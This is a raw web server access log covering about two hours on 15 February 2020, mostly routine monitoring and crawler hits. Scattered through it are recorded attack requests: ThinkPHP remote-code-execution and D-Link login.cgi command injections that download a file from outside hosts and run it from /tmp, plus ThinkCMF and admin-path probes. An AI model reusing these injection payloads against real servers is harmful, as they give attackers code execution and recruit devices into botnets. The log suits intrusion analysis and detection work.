66.249.79.234 - - [15/Feb/2020:11:27:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [15/Feb/2020:11:28:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:29:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:30:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:31:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:32:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:33:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:35:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:38:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [15/Feb/2020:11:45:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.188.38.32 - - [15/Feb/2020:11:45:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
39.113.197.251 - - [15/Feb/2020:11:46:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [15/Feb/2020:11:46:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [15/Feb/2020:11:46:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [15/Feb/2020:11:46:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [15/Feb/2020:11:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.113.197.251 - - [15/Feb/2020:11:47:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [15/Feb/2020:11:47:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
129.146.101.83 - - [15/Feb/2020:11:51:52 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [15/Feb/2020:11:52:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:53:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
152.231.52.211 - - [15/Feb/2020:11:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:11:54:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:56:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:57:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:58:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.5.188.123 - - [15/Feb/2020:12:03:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:12:04:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [15/Feb/2020:12:05:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [15/Feb/2020:12:05:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [15/Feb/2020:12:05:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [15/Feb/2020:12:05:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [15/Feb/2020:12:05:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [15/Feb/2020:12:05:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [15/Feb/2020:12:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:08:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:10:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:12:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:14:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.114.192.235 - - [15/Feb/2020:12:24:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
196.61.102.82 - - [15/Feb/2020:12:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:12:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.18.152.123 - - [15/Feb/2020:12:29:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:12:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.225.116.112 - - [15/Feb/2020:12:36:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:12:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:38:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.189.190.179 - - [15/Feb/2020:12:40:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
78.189.190.179 - - [15/Feb/2020:12:40:36 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [15/Feb/2020:12:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.79.243 - - [15/Feb/2020:12:47:28 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.79.245 - - [15/Feb/2020:12:47:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [15/Feb/2020:12:47:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [15/Feb/2020:12:52:25 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:12:52:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:53:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:54:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:56:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:57:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:58:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:12:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [15/Feb/2020:13:03:49 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
77.247.110.63 - - [15/Feb/2020:13:04:18 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:04:18 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:04:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
77.247.110.63 - - [15/Feb/2020:13:04:18 +0100] "GET /a2billing/admin/Public/index.php HTTP/1.1" 404 337 "-" "libwww-perl/6.05"
77.247.110.63 - - [15/Feb/2020:13:04:18 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:04:18 +0100] "GET /admin/config.php HTTP/1.1" 404 321 "-" "libwww-perl/6.05"
115.133.70.47 - - [15/Feb/2020:13:04:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:13:04:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:05:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.12.166.90 - - [15/Feb/2020:13:07:40 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [15/Feb/2020:13:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.79.250 - - [15/Feb/2020:13:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
106.12.166.90 - - [15/Feb/2020:13:07:41 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.166.90 - - [15/Feb/2020:13:07:42 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.166.90 - - [15/Feb/2020:13:07:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [15/Feb/2020:13:08:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [15/Feb/2020:13:10:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [15/Feb/2020:13:10:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:12:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:14:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
